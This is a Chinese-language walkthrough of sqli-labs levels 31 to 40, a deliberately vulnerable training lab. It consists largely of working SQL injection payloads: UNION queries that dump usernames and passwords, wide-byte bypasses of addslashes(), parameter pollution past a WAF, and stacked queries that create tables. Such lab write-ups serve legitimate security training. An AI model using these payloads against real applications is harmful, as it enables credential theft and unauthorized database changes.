第三十一关

此关用WAF防护

和第三十关基本一样,在双引号后面添加括号进行闭合

语句可以有两种,?id=-1")union select 1,2,database() --+    或者   ?id=1&id=-1")union select 1,2,database() --+(考虑参数污染)

获得用户名密码  ?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

第三十二关

这关是宽字节绕过引号转义
addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91
当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用。

获得数据库名         ?id=-1%E6' union select 1,version(),database() --+

在爆列的时候我们要用到‘user’,有单引号,我们用十六进制编码替代,users 使用十六进制编码得到7573657273,构造为0x7573657273

获取列名   ?id=-1%E6' union select 1,version(),group_concat(column_name)
from information_schema.columns where table_name =0x7573657273--+

获得用户名密码(都一样我直接给结果)?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

第三十三关

和第三十二关一模一样,

第三十四关

变成三十二和三十三关的post方式

获取数据库版本和数据库名      uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit

获取数据库密码    uname=admin%99'  union select
1,group_concat(username,0x3b,password) from
users#&passwd=admin&submit=Submit(注意这关uname好像只有两个显示位)

注意获得列名的时候引号要转义

第三十五关

测试一下,发现id周围没有单引号或双引号,现在就明白题目的标题了,

不需要绕过,直接注入,

获得版本库名       ?id=-1 union select 1,version(),database()--+

爆表名   ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名     ?id=-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

爆用户名和密码     ?id=-1  union select 1,2,group_concat(username,0x7e,password) from users--+

第三十六关

发现用二十二关的方法来做完全可以,

因为这关可以通过宽字节 %df 或者utf-16来解决,二十二关是utf-16

获取用户名密码

?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from security.users--+

还可以用,宽字节注入

?id=0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

第三十七关

这一关还是用post的方式和三十四关基本一样

获取用户名密码    uname=admin%99'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&submit=Submit

也可以用%df进行绕过  uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

第三十八关(堆叠注入)

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)分号我们可以加入注入的新的语句

这关主要是往数据库中写入些什么东西(用%23进行注释)

获得版本和数据库名   ?id=0%FE' union select 1,version(),database() %23

获得表名    ?id=0%FE' union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema=database() %23(为下文做铺垫)

获得列名     ?id=0%FE' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

当然最主要的不是这个,是新建表之类的              ?id=1';create table test like users;%23

再查表的时候就已经发现有我们刚才新建的表test了

第三十九关

和三十八关一样,没有单引号闭合,堆叠注入

获得版本和数据库名   ?id=0 union select 1,version(),database() %23

获得表名    ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名     ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码  ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

和三十八关一样,也可以进行新建表 ?id=1 ;create table test like users;%23

第四十关

和三十八关基本一样,加括号,堆叠注入

获得列名

获得用户名密码

和三十八关一样,也可以进行新建表 ?id=1‘) ;create table test like users;%23

结束

sql-lib闯关31-40的更多相关文章

  1. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  2. python 闯关之路四(下)(并发编程与数据库编程) 并发编程重点

    python 闯关之路四(下)(并发编程与数据库编程)   并发编程重点: 1 2 3 4 5 6 7 并发编程:线程.进程.队列.IO多路模型   操作系统工作原理介绍.线程.进程演化史.特点.区别 ...

  3. sql-lib闯关1-10关

    闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) ​     1)字符型 ​   ...

  4. 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...

  5. 网页闯关游戏(riddle webgame)--仿微信聊天的前端页面设计和难点

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 本文讲描述, 如何在网页端实现一个仿微信 ...

  6. 网页闯关游戏(riddle webgame)--游戏玩法和整体介绍

    前言: 记得上大学那会, 有位传说中的大牛, 写了一个网页闯关类的游戏. 当时我们玩得不亦乐乎, 也是第一次接触到这种形式的游戏. 不过当时纯玩家心态, 并没有想过去创造一个. 最近想起这事, 突然想 ...

  7. Pythonchallenge一起来闯关(二)

    前情提要:Pythonchallenge一起来闯关(一) 这一篇来闯关10-15.感觉这几关比先前的难了不少,有的题目完全没思路. 10. 页面源码中的链接点击后有a = [1, 11, 21, 12 ...

  8. 《JavaScript 闯关记》

    为何写作此课程 stone 主要负责基于 Web 的企业内部管理系统的开发,虽然能够熟练地使用 JavaScript,但随着对 JavaScript 的理解越来越深,才发现自己尚未掌握其精髓. 201 ...

  9. 淘宝ued - 前端智勇大闯关(第三季)答案(更新)

    淘宝ued - 前端智勇大闯关(第三季)答案(更新) 下午在微博上看到了淘宝智勇大闯关第三季的信息,感觉挺有意思的,于是就尝试做了下.附上题目地址: http://ued.campus.alibaba ...

  10. 《JavaScript闯关记》视频版硬广

    <JavaScript闯关记>视频版硬广 stone 在菜航工作时,兼任内部培训讲师,主要负责 JavaScript 基础培训,2016年整理的<JavaScript闯关记>课 ...

随机推荐

  1. kafka相关问题总结

    一直在使用kafka,遇到过很多问题,总结一下 很多人对比kafka和AMQP的时候,都会强调kafka会丢数据,感觉好像只要用kafka就会丢数据一样,从而排斥使用kafka,亦或者在使用的过程中, ...

  2. 在 React Native 中使用 moment.js 無法載入語系檔案

    moment.js 是很常見的日期時間 library,友善的 API 與極佳的執行效率是它的兩大賣點.例如 (new Date()).getFullYear(),如果使用 moment.js 我可以 ...

  3. Linux命令学习神器!命令看不懂直接给你解释!

    大家都知道,Linux 系统有非常多的命令,而且每个命令又有非常多的用法,想要全部记住所有命令的所有用法,恐怕是一件不可能完成的任务. 一般情况下,我们学习一个命令时,要么直接百度去搜索它的用法,要么 ...

  4. Fedora CoreOS 非LInux专业安装文章第一手

    开篇一张图 Docker基本知识掌握后,又学习了"专有的系统平台",CoreOS; 之前一直Windows,学习Docker的同时练习了好多Linux知识,全是江湖路数,打个不同就 ...

  5. Object-Oriented Programming Summary Ⅰ

    Part 0: 前言 令人闻风丧胆的OO还是来了.并没有像名字的外表一样可爱,简直就是恶魔. 疯狂压榨OS的时间,周末无法休息,互测狼人机制 虽然网上骂声很多,就算改进到9012年还是有很多不足的地方 ...

  6. Yuchuan_Linux_C编程之一 Vim编辑器的使用

    一.整体大纲 二.Vim 编辑器的使用 vi -- vim    vim是从vi发展过来的一款文本编辑器    vi a.txt    前提: 安装了vim软件 工作模式: 1. 命令模式 -- 打开 ...

  7. 简单的节流函数throttle

    在实际项目中,总会遇到一些函数频繁调用的情况,比如window.resize,mouseover,上传进度类似的触发频率比较高的函数,造成很大的性能损耗,这里可以使用节流函数来进行性能优化,主要是限制 ...

  8. javascript设计模式和开发实践(阶段一)

    1,设计模式的作用:让人们写出可复用和可维护性高的程序,代价可能是,额外增加代码量: 比较形象的例子:空房间里面放东西,如果日复一日的往里面扔东西,时间久了,很难找到自己想要的东西,调整也不容易,但是 ...

  9. 使用python3编写程序,生成10个随机数,每个元素的值介于1到100之间,并计算所有元素的和、平均值。

    代码如下: import random n = 0 sum = 0 while n < 10: num = random.randint(1, 100) sum = sum + num n += ...

  10. MyISAM 和 InnoDB

    1.MyISAM类型不支持事务处理等高级处理,而InnoDB类型支持.MyISAM类型的表强调的是性能,其执行数度比InnoDB类型更快,但是不提供事务支持,而InnoDB提供事务支持已经外部键等高级 ...